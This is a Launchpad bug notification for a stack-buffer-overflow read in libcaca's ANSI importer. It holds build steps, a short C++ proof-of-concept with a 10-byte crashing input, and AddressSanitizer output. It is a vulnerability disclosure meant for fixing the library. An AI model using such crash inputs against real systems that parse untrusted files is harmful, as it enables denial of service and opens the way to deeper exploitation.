** Description changed: Hello ubuntu security team + + issues: https://github.com/cacalabs/libcaca/issues/55 + System info： Ubuntu 20.04 : clang 10.0.0 , gcc 9.3.0 Fedora 33: clang 11.0.0 , gcc 10.2.1 libcaca version e4968ba Verification steps： 1.Get the source code of libcaca 2.Compile the libcaca.so library $ cd libcaca $ ./bootstrap $ ./configure $ make or $ cd libcaca $ ./bootstrap $ ../configure CC="clang -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" CXX="clang++ -O2 -fno-omit-frame-pointer -g -fsanitize=address,fuzzer-no-link -fsanitize-coverage=bb" $ make 3.Create the poc_ansi.cc && build #include "config.h" #include "caca.h" //#include "common-image.h" #include <assert.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fstream> #include <iostream> using namespace std; void crash(const uint8_t *Data, size_t Size) { - if(Size<8) return ; - size_t len=0; - caca_canvas_t *cv; - cv = caca_create_canvas(0,0); - caca_create_frame(cv,0); - caca_set_frame(cv,0); - caca_import_canvas_from_memory(cv,Data,Size,"ansi"); - caca_free_canvas(cv); - cv=NULL; + if(Size<8) return ; + size_t len=0; + caca_canvas_t *cv; + cv = caca_create_canvas(0,0); + caca_create_frame(cv,0); + caca_set_frame(cv,0); + caca_import_canvas_from_memory(cv,Data,Size,"ansi"); + caca_free_canvas(cv); + cv=NULL; } - int main(int args,char* argv[]){ - size_t len = 0; - unsigned char buffer[] = {0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc}; - len = sizeof(buffer)/sizeof(unsigned char); - printf("%d\n",sizeof(buffer)/sizeof(unsigned char)); - crash((const uint8_t*)buffer,len); + size_t len = 0; + unsigned char buffer[] = {0x20,0x4a,0x0c,0x0a,0x20,0x0a,0x20,0x0c,0xc,0xc}; + len = sizeof(buffer)/sizeof(unsigned char); + printf("%d\n",sizeof(buffer)/sizeof(unsigned char)); + crash((const uint8_t*)buffer,len); - return 0; + return 0; } 4.compile poc_ansi.cc clang++ -g poc_ansi.cc -O2 -fno-omit-frame-pointer -fsanitize=address -I./caca/ -lcaca -L./caca/.libs/ -Wl,-rpath,./caca/.libs/ -o poc_ansi 5.Run poc_ansi asan info: ================================================================= ==3763372==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda0164bea at pc 0x7f098d82c310 bp 0x7ffda01647b0 sp 0x7ffda01647a8 READ of size 1 at 0x7ffda0164bea thread T0 - #0 0x7f098d82c30f in _import_ansi /home/hh/Downloads/libcaca/caca/codec/text.c:391:38 - #1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3 - #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9 - #3 0x7f098d2780b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 - #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d) + #0 0x7f098d82c30f in _import_ansi /home/hh/Downloads/libcaca/caca/codec/text.c:391:38 + #1 0x4c6c72 in crash(unsigned char const*, unsigned long) /home/hh/Downloads/libcaca/poc_bin.cc:21:3 + #2 0x4c6c72 in main /home/hh/Downloads/libcaca/poc_bin.cc:34:9 + #3 0x7f098d2780b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 + #4 0x41c38d in _start (/home/hh/Downloads/libcaca/poc_mbay+0x41c38d) Address 0x7ffda0164bea is located in stack of thread T0 at offset 42 in frame - #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28 + #0 0x4c6b9f in main /home/hh/Downloads/libcaca/poc_bin.cc:28 - This frame has 1 object(s): - [32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this variable + This frame has 1 object(s): + [32, 42) 'buffer' (line 31) <== Memory access at offset 42 overflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork - (longjmp and C++ exceptions *are* supported) + (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /home/hh/Downloads/libcaca/caca/codec/text.c:391:38 in _import_ansi Shadow bytes around the buggy address: - 0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 - 0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2 - 0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00 - 0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100034024920: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 + 0x100034024930: f8 f8 f8 f8 f8 f8 f8 f8 f8 f2 f2 f2 f2 f2 f2 f2 + 0x100034024940: f2 f2 f8 f2 f2 f2 f8 f3 f3 f3 f3 f3 00 00 00 00 + 0x100034024950: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100034024960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x100034024970: 00 00 00 00 00 00 00 00 f1 f1 f1 f1 00[02]f3 f3 - 0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 - 0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100034024980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x100034024990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x1000340249a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x1000340249b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 0x1000340249c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): - Addressable: 00 - Partially addressable: 01 02 03 04 05 06 07 - Heap left redzone: fa - Freed heap region: fd - Stack left redzone: f1 - Stack mid redzone: f2 - Stack right redzone: f3 - Stack after return: f5 - Stack use after scope: f8 - Global redzone: f9 - Global init order: f6 - Poisoned by user: f7 - Container overflow: fc - Array cookie: ac - Intra object redzone: bb - ASan internal: fe - Left alloca redzone: ca - Right alloca redzone: cb - Shadow gap: cc + Addressable: 00 + Partially addressable: 01 02 03 04 05 06 07 + Heap left redzone: fa + Freed heap region: fd + Stack left redzone: f1 + Stack mid redzone: f2 + Stack right redzone: f3 + Stack after return: f5 + Stack use after scope: f8 + Global redzone: f9 + Global init order: f6 + Poisoned by user: f7 + Container overflow: fc + Array cookie: ac + Intra object redzone: bb + ASan internal: fe + Left alloca redzone: ca + Right alloca redzone: cb + Shadow gap: cc ==3763372==ABORTING Thanks
-- You received this bug notification because you are a member of Ubuntu Bugs, which is subscribed to Ubuntu. https://bugs.launchpad.net/bugs/1925467 Title: stack-buffer-overflow of text.c in function _import_ansi To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/libcaca/+bug/1925467/+subscriptions -- ubuntu-bugs mailing list ubuntu-bugs@lists.ubuntu.com https://lists.ubuntu.com/mailman/listinfo/ubuntu-bugs
